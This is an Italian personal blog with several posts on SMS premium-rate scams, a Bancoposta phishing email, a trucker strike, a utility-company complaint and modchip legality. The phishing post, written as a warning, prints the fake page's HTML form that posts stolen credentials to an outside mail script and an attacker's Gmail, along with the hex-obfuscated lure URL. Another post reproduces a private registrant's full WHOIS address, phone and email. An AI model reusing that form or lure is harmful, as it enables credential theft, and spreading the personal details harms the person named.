sms sospetti: hai un messaggio in segreteria

Avevo già parlato in precedenza nel post “sms per una segreteria telefonica non richiesta“, di questi sms che arrivano agli utenti e che ci dicono (in tante varianti diverse) sostanzialemnte questo:

SERVIZIO MESSAGGI!
Chiama da telefono fisso 89-955-45-25 e segui la voce guida. Info e costi www.messaggiperte.com

Perchè riscrivo su un argomento gìa trattato in precedenza? perche il suddetto post è stato visitato tantissimo in questi giorni e la frequenza aumenta di giorno in giorno, segno quindi che il fenomeno dell’invio di questi sms sembra intensificarsi.

sono sms che arrivano con un unico scopo: farci fare un telefonata da telefono fisso ad un numero con prefisso 899 (a tariffazione speciale quindi) e farci addebitare chiamate anche da 15€.

ecco un po’ di link che spero siano utili…

dal sito dell’ ADUC

L’ULTIMA FRONTIERA DELLE TRUFFE TELEFONICHE: UN SMS INVITA A TELEFONARE AD UN NUMERO 899. E PARTE L’ADDEBITO DI 15 EURO. L’AUTORITA’ INTERVENGA!
http://www.aduc.it/dyn/tlc/comu.php?id=184107

infatti nella sezione Modulistica  (Moduli pronti per ricorsi contro decisioni e provvedimenti) trovate un bel modulo di ricorso con tanto di guida.

invece dal sito dell’ Autorità garante della concorrenza e del mercato troviamo un Provvedimento che “dovrebbe”  creare un precedente e che permetterebbe (???) di intentare cause collettive (class action) attrverso l’ADUC nei confronti degli intestatari del numero speciale 899 (che ricordo devono essere italiani)

la cosa grave è che questi fenomeni sono in giro d parecchio tempo:

2003:

http://punto-informatico.it/p.aspx?i=332883
http://www.attivissimo.net/antibufala/nosms/nosms.htm

sms truffaldini da www.segreteria.biz

mi è arrivato un sms :

inviato: 18/12/2007 16:03
Da: +20105991863

suSEGRETERIA ci sono messaggi per te.
Chiama da fisso al 899030569, info e costi susegreteria.biz

Come già detto in precedenza, per una situazione analoga successa ai miei genitori, questi sono sms truffaldini che vengono dall’estero (il +20 corrisponde all’ Egitto vedi Prefissi Telefonici Internazionali via Wikipedia) e imbrogliano gli utenti facendo pensare che si tratta dei servizi di segreteria dei propri gestori.

tralasciamo gli evidenti errori di digitazione che potrebbero essere stati inseriti ad arte…

chiedono, infatti, di chiamare da telefono fisso (primo sospetto) e sopratutto ad un numero 899 (secondo sospetto visto che è un numero a tariffazione speciale)…

come al solito… cancellate l’ SMS

leggi anche:
http://www.zeusnews.it/index.php3?ar=stampa&cod=1280

sciopero tir cna-fita

Oggi lunedì 10 dicembre sono iniziati gli scioperi degli autotrasportatori che sono iscritti al sindacato CNA-FITA e si protrarrà sino a giovedì nonostante la convocazione per martedì 11 al ministero dei Trasporti.

Considerando sacrosanto il diritto a scioperare, ho cercato le motivazioni nel sito CNA-FITA ma niente, le uniche motivazioni che ho trovato sono nell’articolo di repubblica.it

cito testualmente:

Gli autotrasportatori chiedono al governo una diversa e migliore regolamentazione sui costi d’impresa, regole sulle tariffe, eliminazione dell’abusivismo e quindi della concorrenza sleale. Tra i punti oggetto della vertenza l’aumento incontrollato del costo del gasolio e del costo del lavoro, i pagamenti dei servizi di autotrasporto a tempi indeterminati, l’aumento dell’indebitamento per impresa che è arrivato anche a sfiorare i 200.000 euro per impresa, i continui aumenti dei pedaggi autostradali e un quadro normativo non adeguato.

Come hanno attuato la loro protesta? Bloccando le autostrade paralizzando i nodi nevralgici (ovviamente essendo il loro mestiere sanno quali punti bloccare per fare più danno possibile) mettendo i tir di traverso e sgonfiando le gomme (visto ad Anagni e Roma Nord) lasciando solo lo spazio per far passare una macchina alla volta.

Perfetto, sacrosanto ma opinabile… Così hanno danneggiato chi con le strade non ci lavora ma ci va al lavoro…

costringere a perdere ore di lavoro a categorie che non hanno scelto o non vogliono partecipare alla loro protesta non mi sembra giusto …

Io sono un informatico e se domani volessi scioperare di fatto potrei causare questo:

  • impedire l’accesso alla backbone telecom
  • impedire l’accesso ai monitor di controllo delle le centrali elettriche e telefoniche

nel mio pieno diritto di scioperare, potrei farlo ma in tutta coscienza non lo faccio, perchè i danneggiati saranno sicuramente più la gente comune che la gente contro la quale intendo far valere dei diritti, e tutto ciò non mi sembrerebbe giusto.

phishing banco posta, un premio fedelta’ da 75 euro

Fate attenzione mi è arrivata una email con un tentativo di phising che cerca di ottenere le credenziali dell’ account Bancoposta (che peraltro non ho)…

image

La mail si presenta come spedita da Bancoposta@poste.it ed è scritta con in italiano corretto (niente traduttori online) ed il link

“Accedi ai Servizi online per accreditare il bonus fedeltà” punta al seguente indirizzo:

http://0x51.0xd0.0x25.0x16/poste/index.htm (IP: 81.208.37.22)

che ovviamente non è di poste italiane ma porta su una pagina che potrebbe ingannare in quanto è identica alla pagina ufficiale…

se malauguratamente inseriste la paasword sembra che questa verrebbe inviata via mail a demolatoru88@gmail.com attraverso:

http://www2.fiberbit.net/form/mailto.cgi

usando il seguende form:

<FORM name=Login onsubmit="javascript: return logintest(this);" action=http://www2.fiberbit.net/form/mailto.cgi 
method=post encType=x-www-form-urlencoded><INPUT type=hidden 
value=roma name=Mail_From> <INPUT type=hidden 
value=demolatoru88@gmail.com name=Mail_To> <INPUT type=hidden 
value="diroma" name=Mail_Subject> <INPUT type=hidden 
value=http://www.poste.it name=Next_Page>

il dominio www2.fiberbit.net risulta al seguente IP 210.224.177.131

se andiamo su http://0x51.0xd0.0x25.0x16/ (81.208.37.22) troviamo

image

e dalle info della pagina risulta il pannelo di admin del software Skip2PBX v.2.1.0 della Idealia Group s.r.l. (http://www.idealiagroup.com/) con

licenza E0B10-A6DBA-3A082-CC9BC-A6753 (forse idealia sa di chi è e farebbe bene ad avvisare il suo cliente che gli hanno hackerato il pbx)

invece l’ip 81.208.37.22 secondo http://www.dnswatch.info/dns/dnslookup?la=en&host=+81.208.37.22&type=A&submit=Resolve alle ore 17.46 risolve in

81-208-37-22.ip.fastwebnet.it

Mi raccomando cestinatela o segnalatela  come phishing…  e se avete bancoposta andate a leggere la loro guida anti-phising

reverse social engeenering

Ho  letto questo post fantastico di DelyMith (ve la consiglio) sulle telefonate non richieste e sul tentativo di vendita da parte di terzi…

Io i miei genitori se chiama chicchessia e cerca di attivare / vendere / prenotare / ottenere-informazioni-riservate ho insegnato a dire questo:

“In questo momento non posso… se mi da il numero la richiamo io la faccio richiamare… qual’è il suo numero e chi devo dire?”

il risultato?

“Richiamiamo stasera. grazie”

oppure

“Non fa niente. Grazie”

mio padre invece è anni avanti.. se vede che il numero è nascosto… alza e attacca la cornetta… 😀

sms per una segreteria telefonica non richiesta

Prologo

Ad entrambi i miei genitori è arrivato il seguente messaggio SMS:

SERVIZIO MESSAGGI!
Chiama da telefono fisso 89-955-45-25 e segui la voce guida. Info e costi www.messaggiperte.com

Premessa

  • Hanno TIM come gestore
  • Non hanno richiesto questo servizio di segreteria telefonica

Analisi

allora analizziamo la situazione:

E’ un messaggio inviato via SMS non dal gestore del proprio contratto telefonico (es. TIM) su un cellulare che chiede di chiamare da telefono Fisso, qui già risulta strano: perchè un servizio di segreteria di un cellulare dice di chiamre un fisso?

La risposta è semplice, benchè il numero sia scritto con i trattini di separazione il numero è 899 554525, quindi non urbano ma a tariffazione speciale !!!!

Sono andato sul sito www.messaggiperte.com è in prima pagina si vede un bel form :

image

quindi sembra che il sistema si autopubblicizzi attraverso i suoi utenti registrati,  ma sulla pagina dell’informativa sulla privacy si legge:

image

Quindi il messaggio che è arrivato potrebbe essere arrivato in questi 2 modi:

  • è puramente pubblicitario, quindi inviato dal loro sistema ma non provenendo da nessun database (deduco che sparano SMS random a caso).
  • è stato inviato non da loro ma da un utente del loro servizio

E come si fa quindi a diventare un utente? Udite udite !!! Se non sei ancora un utente registrato ecco come puoi fare…

image

15€ IVA inclusa !!!! mica male

Vediamo di capirci qualcosa… il loro regolamento dice:

image

Diciamo che le offerte dirette dei vari gestori per pacchetti SMS sono sicuramente più convenienti di questo !!! Tocca giusto vedere se gli SMS sparati con questo servizio offuschino il reale mittente al destinatario.

Ho fatto una ricerchina col Whois  del dominio www.messaggiperte.com (più info le trovate qui)

 
Registration Service Provided By: HOST-CARE.COM
Contact: +.
 
Domain Name: MESSAGGIPERTE.COM 
 
Registrant:
 XX
 ABDELKARIM HAJBI (messaggiperte@gmail.com)
 VIA PALMA,188
 XX
 STRIANO (NA)
 CAMPANIA,80040
 IT
 Tel. +00.39334255125
 
Creation Date: 22-Feb-2007 
Expiration Date: 22-Feb-2008
 
Domain servers in listed order:
 ns1.host-care.com
 ns2.host-care.com
 
 
Administrative Contact:
 XX
 ABDELKARIM HAJBI (messaggiperte@gmail.com)
 VIA PALMA,188
 XX
 STRIANO (NA)
 CAMPANIA,80040
 IT
 Tel. +00.39334255125
 
Technical Contact:
 XX
 ABDELKARIM HAJBI (messaggiperte@gmail.com)
 VIA PALMA,188
 XX
 STRIANO (NA)
 CAMPANIA,80040
 IT
 Tel. +00.39334255125
 
Billing Contact:
 XX
 ABDELKARIM HAJBI (messaggiperte@gmail.com)
 VIA PALMA,188
 XX
 STRIANO (NA)
 CAMPANIA,80040
 IT
 Tel. +00.39334255125
 
Status:ACTIVE

Quindi sembra un dominio registrato dal signor ABDELKARIM HAJBI ( messaggiperte@gmail.com ) che si trova qui

Conclusione

  • Ho sconsigliato i miei genitori dal chiamare la segreteria telefonica al numero 899 554525
  • Nel messaggio dice che sul sito ci sono info e costi
    • in realtà si conoscono i costi della registrazione al loro servizio (15€ IVA inclusa) ma non si conoscono i costi della telefonata al numero 899 554525 che essendo in decade 899 sarà sicuramente nell’ordine degli euro al minuto
    • non si capisce se il costo di 15 euro IVA inclusa è una tantum per avere i 10 SMS al giorno per un max di 300 in un mese, oppure è un reale abbonamento ad un servizio che poi in automatico ti manda il mese successivo un SMS con un nuovo codice + un altro  accredito di altri 15 euro IVA inclusa
  • Non si capisce come fanno ad inviare i primi SMS visto che quello che mi è arrivato non è arrivato da un cellulare di un conoscente dei miei genitori e loro non hanno una bancadati

Consigli

Non rispondete mai ad SMS strani o telefonate a numeri fissi o con prefissi divesri dal vostro prefisso urbano di zona, in questo caso, se avete proprio necessità e/o voglia di sottoscrivere questo servizio di www.messaggiperte.com, chiedete prima spiegazioni sugli effettivi costi attraverso il loro contatto email info@messaggiperte.com oppure al gestore del sito ABDELKARIM HAJBI alla sua email messaggiperte@gmail.com.

Se lo fate e volete farmelo sapere scrivetemi a marco@acor3.it

Update 12:12:54

Velocissimo…. ahahah il signor ABDELKARIM HAJBI sembra all’oscuro di tutto e questo un sistema abbasta collaudato per spillare 15euro in maniera veloce… insomma un a mini stangata

riferimenti a casi precedenti

internet tax: italia nel medioevo

Leggo sgomento da PuntoInformatico l’ultima trovata (in ordine di tempo) dell’attuale governo, un DDL nel quale (citando un post su NotJustCode.it)

… si decide che qualsiasi attività web riguardante l’editoria, sia essa quotidiana, periodica o libraria, dovrà essere registrata presso il ROC: Registro degli Operatori di Comunicazione.

Bhe… Io non pago e non mi registro da nessuna parte… per il mio dominio www.acor3.it ho già assunto le mie responsabilità attraverso la LAR depositata dal mio mantainer Aruba presso la Naming Autorithy (www.nic.it) al seguente indirizzo

Registro del ccTLD “it”

fax al numero 050/542420 o tramite posta ordinaria all’indirizzo:
Istituto di Informatica e Telematica del CNR
Registro del ccTLD “.it”
CNR – AREA DELLA RICERCA
Via Giuseppe Moruzzi, 1
I-56124 PISA

Decade quindi il fondamento principale del DDL che dice:

“L’iscrizione al Registro degli operatori di comunicazione dei soggetti che svolgono attività editoriale su internet rileva anche ai fini dell’applicazione delle norme sulla responsabilità connessa ai reati a mezzo stampa.”

Infatti qualsiasi azione diffamatoria che tramite il mio sito potrebbe essere veicolata è già riconducibile alla mia persona fisica sia civilmente che penalmente.

Questo post è volutamente finito nella categoria Spam, Phising e Zozzerie

se ti passano il compito e ti beccano… negare , negare sempre e tutto

lo spunto è preso da un articolo su repubblica.it su presunti brogli agli esami di ammissione di medicina …

BARI – Lui ha pagato. “Non so quanto, questo chiedetelo a mio padre. Ma vi assicuro che ho studiato. Quell’esame l’ho superato per merito soprattutto. Certo un aiutino…”.

certo l’utilizzo di metodi poco ortodossi non mi da la certezza che sia tutta farina del tuo sacco…

I messaggi ni sul telefono con le risposte giuste le sembrano un aiutino?
“Chi nella sua vita agli esami, ai compiti in classe, non ha copiato una volta o almeno ci ha provato? Avanti, provate a dirmelo. Rispetto a prima sono cambiati soltanto i metodi: prima c’erano le fisarmoniche, i libri piccolini, le fotocopie. E ora ci sono i telefonini. Non capisco perché la gente si scandalizza”.

Si certo stessi meccanismi solo un po più moderni…. infatti quanto beccavano a me mi davano 2 chiamavano i miei genitori al telefono… i tuoi li hanno avvisati con i mezzi di adesso… la TV.

Antonio (non si chiama così) è uno dei cinquanta sospettati dalla procura di Bari nell’inchiesta sui test d’ingresso all’Università di Bari. L’esame lo ha superato. Ma la sua prova dovrebbe essere annullata.
“Non esiste”.

Come, scusi?
“Io non ho fatto niente di male e quindi io mi sento a tutti gli effetti uno studente dell’Università di Bari”.

Allora se domani vengono a casa tua ti fregano un po’ di roba… li becchi e se ti dicono che non hanno fatto niente di male, messe le così non gli fai nulla… vero?

Lei ha barato.
“Ho fatto quello che si è sempre fatto durante un esame. Niente di più, niente di meno”.

Ok a me hanno dato un bel 2 o al peggio mi hanno bocciato… quindi per te stessa cosa. Niente di più, niente di meno

Ma come: le centrali operative, gli auricolari bluetooth, le staffette…
“Quelle sono le esagerazioni dei giornali. Semplicemente i tempi avanzano e noi ci adeguiamo con le tecnologie. Ma ripeto, non mi va di passare come un analfabeta. Mi sono diplomato con un ottimo voto, ho studiato come un pazzo per cinque anni e quest’estate con il professor Pollice anche. Nessuno mi ha regalato nulla”.

Allora sei un fesso che hai rovinato un sano impegno con dei trucchetti beceri per passare l’esame

Perché se era così bravo ha pagato?
“Io ho pagato le lezioni private, non per superare l’esame. Nessuno mi ha garantito di essere promosso, se fossi stato bocciato nessuno avrebbe restituito a mio padre quel denaro: certo, le percentuali erano alte. Si sa che chi segue i corsi di Pollice ce la fa quasi sempre. Ma perché è preparato. Non per altro”.

Quando ha cominciato a studiare per il test?
“A fine aprile, i primi di maggio. Dovevo preparare anche gli esami di maturità e la chimica, la fisica, servono sempre. Non erano lezioni individuali ma di gruppo. Ci vedevamo una, io anche due volte alla settimana”.

Che facevate?
“Seguivamo le lezioni. Preparavamo i test con le simulazioni. Studiavamo molto anche a casa, non sono mai stato così tanto sui libri in vita mia. Sono bianco: se bastava pagare avrei passato l’estate a Corfù con i miei amici, e non in un villaggio a Polignano”.

Bhe alla luce di quello che è successo potevi andare a Corfù oppure studiare come poi hai fatto ma senza pagare

Un secchione.
“No, ma nemmeno un delinquente”.

Be quello lo diranno i giudici

Lei ora potrebbe essere indagato per associazione a delinquere finalizzata alla truffa. Cosa dirà agli investigatore quando sarà interrogato?
“Che non ho fatto niente. E se insistono mi avvarrò della facoltà di non rispondere, si dice così, no?”.

Si basta che non parli del 5° emendamento altrimenti capiscono che guardi troppi film americani

Lei aveva il telefonino?
“Sì”.

Non si può, è vietato.
“Non hanno le prove. Nessuno mi ha scoperto”.

Spiega pure questo ai giudici… benchè dici che nessuno ti ha scoperto… ad un giornalista (testimone) hai invece detto di si….

Potrebbe essere stato intercettato.
“Forse no”.

Basta che ne sia convinto tu… ah se pensi di non essere stato intercettato, hai implicitamente ammesso che avevi un mezzo intercettabile (il telefonino)

Aveva cambiato la scheda e anche il telefonino?
“Questo non lo posso dire”.

5° emendamento? ehehehhe

Ma non si sente in colpa nei confronti dei suoi colleghi? Avete giocato la stessa partita ad armi impari: che gusto c’è a vincere così?
“Ho vinto perché ero più preparato. E forse perché sono stato più furbo. Questo è il paese dei furbi”.

Se questo è il paese dei furbi mi sa che non ti sei accorto che sei straniero in patria

acea electrabel, il servizio nuova attivazione e’ pessimo

Ho acquistato da poco una casa Roma e sto provvedendo agli allacci delle utenze, ho deciso di iniziare con l’elettricità rivolgendomi ad Acea Electrabel, ecco di seguito la tristissima cronistoria di un servizio nuova attivazione pessimo.

Lun. 10/09/2007

ore 14.30
Chiamo il numero verde 800 130 330, centralino telematico scelgo opzione 2 e poi 3 servizi commerciali per nuova clientela.

operatore: Buongiorno sono l’operatore 232 come posso aiutarla?

marco:Salve vorrei chiedere un nuovo allaccio, ecco le mie generalità ed il numero di posizione Acea (lo avevo già in quanto nell’immobile è già stato predisposto l’allaccio alla rete dal costruttore, ma non è mai stata mai attivata l’utenza)

operatore: Ah perfetto cos’ vediamo se riusciamo ad attivarlo subito… … attesa … Ok, fatto… siccome ho verificato che per il suo appartamento c’è già il nuovo contatore telematico, stasera la centrale operativa cercherà di attivarlo da remoto.

marco: Da remoto? E’ possibile?

operatore: Si certo con i nuovi contatori è possibile, allora… stasera proveranno ad attivare il suo contatore e nel caso non ci ri uscissero il tecnico verrà ad attivarlo in manuale mercoledì dalle 7.30 alle 10.30,ho già fissato l’appuntamento.

marco: Ho capito bene mercoledì un tecnico verrà dalle 7.30 alle 10.30? e come faccio a capire che l’attivazione è andata a buon fine?

operatore: (Ridacchiando) bhe lei provi ad accendere la luce in casa e se si accende l’attivazione è andata a buon fine…

marco: Bhe certo ovvio… comunque le do il mio numero di cellulare per essere avvisato di qualsiasi inconveniente… eccolo… #######
grazie mille…

operatore: arrivederci e grazie

Mart. 11/09/2007

ore 21.30
Vado a verificare se l’attivazione remota è andata a buon fine… il contatore è acceso c’è qualche led che lampeggia… sembrerebbe attivo… ma a casa mia non si accende una fava… deduco che l’attivazione non è andata a buon fine e che quindi il tecnico verrà mercoledì dalle 7.30 alle 10.30

Merc. 12/09/2007

ore 07.30
Mi reco con lo scooter a casa (non ci abito ancora) e rimango ad aspettare il tecnico per strada in quanto il civico non è immediatamente visibile dalla strada e perchè sul citofono non c’è ancora la targhetta con il mio cognome.
ore 08.30
attendo… (vabbè a Roma c’è un po’ di traffico e hanno riaperto le scuole)
ore 09.30
attendo… (vabbè avrà trovato degli inconvenienti lungo la strada)
ore 10.30
attendo… un’altra mezz’oretta (non si sa mai)
ore 11.00
vaffanculo al tecnico… (e me ne vado in ufficio 2 ore di lavoro perse !!!!)

Arrivo in ufficio e faccio una telefonata al num. verde 800 130 330 opzione 2 e poi 3

driinnnnn… imagine all the peopleeeeeeeeeee… living the world todayyyyyyy… huuuuuuuhuhuuuuhuhuu… rispondono…

operatore: Buongiorno sono l’operatore 235 come posso aiutarla?

marco:Salve lunedì ho richiesto un nuovo allaccio, ecco le mie generalità ed il numero di posizione Acea … l’operatore 232 col quale avevo parlato mi aveva accennato ad una attivazione telematica ed in caso di fallimento delle stessa ci sarebbe stata un attivazione manuale di un vostro tecnico oggi dalle 07.30 alle 10.30… come mai il tecnico non si è presentato ? Sa com’è ho aspettato 3 ore giù per strada… ma è successo qualcosa? perchè non mi avete avvisato? avete anche il numero del mio cellulare…

operatore: oggi? ma a me risulta che l’intervento del tecnico è previsto per domani dalle 07.30 alle 10.30!!!!!

marco: come domani? l’operatore è stato chiaro… lo ha ripetuto 2 volte per farmelo capire manco fossi sordo… e adesso scopro che è domani? ma che stiamo scherzando?

operatore: mi dispiace ci deve essere stato un fraintendimento… mi scuso a nome del mio collega… le confermo che il tecnico verrà domani giovedì 13/09/2007 dalle 07.30 alle 10.30

marco: siamo sicuri non è che mi date buca un’altra volta?

operatore: no.. no.. certo le confermo un’altra volta l’appuntamento con il tecnico che verrà da lei domani giovedì 13/09/2007 dalle 07.30 alle 10.30 … e mi scusi ancora….

marco: va bene… grazie… (detto a denti stretti e ringhiando… GRRRRRRRRRRRRRRRR)

Giov. 13/09/2007

ore 07.30
Mi reco con lo scooter a casa… rimango ad aspettare il tecnico per strada…
ore 08.30
ari-attendo… (vabbè a Roma c’è un po’ di traffico e hanno ari-aperto le scuole)
ore 09.30
ari-attendo… (vabbè avrà ari-trovato degli inconvenienti lungo la strada)
ore 10.30
ari-attendo… un’altra mezz’oretta (non si sa mai mi dovessero dire che sono passati e io non c’ero !!!!)
ore 11.00
ari-vaffanculo al tecnico… (e me ne vado in ufficio altre 2 ore di lavoro perse !!!! ricordo che lavoro come autonomo con P.IVA)

Arrivo in ufficio e ri-faccio una telefonata al num. verde 800 130 330 opzione 2 e poi 3

driinnnnn… imagine all the peopleeeeeeeeeee… living the world todayyyyyyy… huuuuuuuhuhuuuuhuhuu… (mi chiedo se l’acea paga la siae per diffondere Imagine di John Lennon al telefono) rispondono…

operatore: Buongiorno sono l’operatore 237 come posso aiutarla?

marco:Salve lunedì ho richiesto un nuovo allaccio, ecco le mie generalità ed il numero di posizione Acea … (ti devi qualificare così fanno prima) oggi sarebbe dovuto venire il tecnico per fare l’attivazione del mio impianto come mai non è venuto ed è la seconda volta che mi date buca … ma che ci si comporta così?

operatore: aspetti che guardo… ma veramente a me l’impianto risulta attivato…

marco: ATTIVATOOOOOOOOO !?!?!?!??! E DA CHI ? SONO STATO + DI 3 ORE PER STRADA AD ASPETTARE UN TECNICO CHE NON E’ MAI VENUTO !!!!! CHI LO AVREBBE ATTIVATO !!!!! ORA MI DATE GLI ESTREMI DEL TECNICO O DELLA DITTA CHE VI FORNISCE IL SERVIZIO CHE VI DENUNCIO … NON SI PRENDE PER IL CULO LA GENTE COSI’ !!!!!

operatore: (con vocina flebile da uccellino) no aspetti… ma ame risulta attivato dalla centrale e quindi non dal tecnico, che infatti non è passato…

marco: QUINDI MI STA DICENDO CHE ERA PREVISTO CHE IL TECNICO NON PASSASSE PERCHE’ L’ATTIVAZIONE REMOTA E’ ANDATA BUON FINE CHE LO SAPEVATE IN ANTICIPO?

operatore: (con vocina flebile da passerotto impaurito) ehm si…

marco: E ALLORA PERCHE’ NON SONO STATO AVVISATO? E SOPRATUTTO PERCHE’ A CASA MIA NON FUNZIONA NE’ IL CAMPANELLO NE’ QUALSIASI PRESA ELETTRICA? FORSE PERCHE’ IN REALTA’ NON E’ STATO ATTIVATO UN BEL NIENTE? E SORATUTTO COME FA A FUNZIONARE ILMIO IMPIANTO TUTTO VISTO CHE NEL CONTATORE CI SONO ANCORA I SIGILLI PIOMBATI !?!?!?!?!?

operatore: (riprende coraggio e speranza) ci sono ancora i sigilli? allora aspetti , che chiedo conferma….

attesa… immagine all the peopleeeeeeeeeee… living the world todayyyyyyy… huuuuuuuhuhuuuuhuhuu… (e ah me i beatles con leno fanno pure cagare… per intenderci stamattina ho ascoltato Brujeria – Matando Güeros) rispondono…

operatore: mi scusi ma se ci sono i sigilli è probabile che il contatore non è sia collegato con casa sua… quello collegamento deve farlo lei con un elettricista… per quanto riguarda i sigilli può romperli tranquillamente anche lei….

marco: COSAAAAAA!?!?!? CIOE’ RICAPITOLANDO…. HO ASPETTATO PER DUE GIORNI CONSECUTIVI 3 ORE PER STRADA UN TECNICO CHE SAREBBE DOVUTO VENIRE PERCHE’ NON RIUSCIVATE A FARE UN’ATTIVAZIONE DA REMOTO DALLA CENTRALE OPERATIVA E CHE POI NON E’ VENUTO !!!

POI MI VENITE A DIRE SOLO DOPO CHE VI CHIAMO IO CHE IL TECNICO NON VIENE IN QUANTO L’ATTIVAZIONE DA REMOTO DALLA CENTRALE OPERATIVA E’ RIUSCITA !!!!

POI MI DITE CHE PER AVERE LA CORRENTE A CASA DEVO FARE GLI ALLACCI FINALI IO E PER GIUNTA ROMPENDO I SIGILLI DEL CONTATORE !!!!

HO CAPITO BENE?

operatore: (con un volume sempre più basso) ehm… si…

marco: CAPITE CHE HO PERSO 6 0RE DI LAVORO / SONNO !!!! CHE SE LO DICEVATE PRIMA QUEI DUE SIGILLI LI STRAPPAVO DA SOLI E FACEVO PRIMA?

MA POI CHE C#@*O CE LI METTETE A FARE I SIGILLI ??? E POI CHE LO CHIEDETE A FARE UN RECAPITO TELEFONICO SE TANTO NON RICHIAMATE MAI ANCHE QUANDO E’ UN VOSTRO OBBLIGO ?

operatore: le chiedo scusa nome di Acea per gli inconvenienti al quale è andato incontro… sa com’è qui al call center prendiamo le telefonate e attiviamo le pratiche … poi ci pensa la centrale operativa per fare gli allacci.. e anche se noi nella pratica ci mettiamo un recapito… loro della centrale operativa e i tecnici non chiamano mai nessuno (!!!!!!!) può fare un reclamo lamentandosi della centrale operativa…

marco: mi dispiace per lei che lavora per questo call-center, che si deve beccare il malcontento degli utenti, ma non le accetto le scuse di Acea (anche se lei operatore non centra nulla) perchè questo è il risultato di un funzionamento becero di un vostro sistema che non fa funzionare bene le sue divisioni sopra tutto quando devono fornire un servizio ad un cliente pagante… arrivederci…

operatore: arrivederci…

conclusione

Il servizio di nuovo allaccio alla rete di Acea Electrabel è pessimo, gli operatori sono gentili, sentire John Lennon a ripetizione per più di 2 minuti fa male allo stomaco, la centrale operativa è menefreghista del prestigio dell’azienda per la quale lavora, io devo pagare un’elettricista per avere la corrente in casa…

Bello schifo davvero…..

modificare la playstation sembra sia illegale

allora… la questione è IMHO alquanto strana… e premettendo che non mi intendo di leggi vi prospetto questo scenario:

io acquisto un bene (la playstation), il bene diventa mio, in quanto (a meno che non mi sbagli) non si fa un contratto di licenza d’uso del bene ma un acquisto quindi la sony cede un bene in cambio di soldi…

a questo sono libero di modificarla come mi pare e decido che voglio fargli fare il caffè quando supero i 10.000 punti a tekken !!!

rompo i sigilli che garantiscono l’hardware e perdo la garanzia e ne sono comsapevole…

fino ad adesso non ho commesso reato…

però il fornitore che mi vende il pezzo hardware (che mi permette di fare il caffè ) viola i diritti d’autore !!!!!

il problema che non capisco è quale diritto d’autore si ritiene infranto…

i segreti industriali scoperti tramite reverse-engeneering della componentistica hardware della playstation? oppure i diritti connessi alle opere piratate che sarebbero in seguito fruibili?

nel primo caso occorrerebbe verificare quale legge tutela la componentistica interna della sony… immagino che non posso copiarla in toto e rivenderla come mia oppure non posso includerla in miei prodotti (copyright) ma è ben diverso da produrre e commercializzare un bene che è una accessorio che aggiunge funzionalità.

nel secondo caso invece non credo il produttore di modchip sia perseguibile per il solo fatto di aver messo in vendita un prodotto frutto del suo ingegno anche se con il suo utilizzo l’utente finale può infrangere la legge…

infatti adottando lo stesso criterio bisognerebbe:

  • impedire ai fornitori di dvdrom e cd rom di vendere i supporti perchè ci si fanno copie illegali
  • impedire ai produttori di marmitte da gara di vendere perchè se monto una loro marmitta sulla moto infrango il codice della strada
  • impedire ai produttori di armi la vendita perchè con una pistola commetto un omicidio

in conclusione… lo so ho banalizzato molto… ma veramente non comprendo… non ci arrivo…

voi che leggete che ne dite?